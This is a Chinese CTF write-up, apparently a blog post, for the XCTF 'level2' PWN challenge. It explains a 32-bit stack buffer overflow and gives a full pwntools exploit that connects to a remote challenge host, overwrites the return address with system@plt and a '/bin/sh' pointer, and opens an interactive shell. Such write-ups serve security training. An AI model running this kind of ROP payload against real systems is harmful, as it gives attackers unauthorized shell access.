1. 程式人生 > 其它 >攻防世界PWN簡單題 level2

攻防世界PWN簡單題 level2

攻防世界PWN簡單題 level2

此題考驗的是對ROP鏈攻擊的基礎

萬事開頭PWN第一步checksec 一下

32位的小端程式,扔進IDA

進入函式,找出棧溢位漏洞。

又是這個位置的棧溢位,read的0x100,buf的0x88,根據提示,尋找構建ROP鏈的攻擊

直接就找到了system和/bin/sh,開始寫exp

from pwn import *
io = remote('111.200.241.244',56855)
#連線遠端
elf = ELF('./1ab77c073b4f4524b73e086d063f884e')
#elf載入本地程式,因為沒有開PIE
system_adr = elf.plt['system']
#獲取system在plt表中的地址
binsh_adr = next(elf.search(b'/bin/sh'))
#在程式搜尋binsh的地址
payload = b'a'*(0x88+4) + p32(system_adr) + b'dead'+p32(binsh_adr)
#buf定義了0x88個位元組,+4覆蓋ebp,填入system地址
#b'dead'是system的返回地址,我瞎寫的,為了棧平衡
#傳入binsh的地址
io.recv()
io.send(payload)
io.interactive()

然後去執行一下exp,攻擊完成,老師,交交交。。。交卷!!!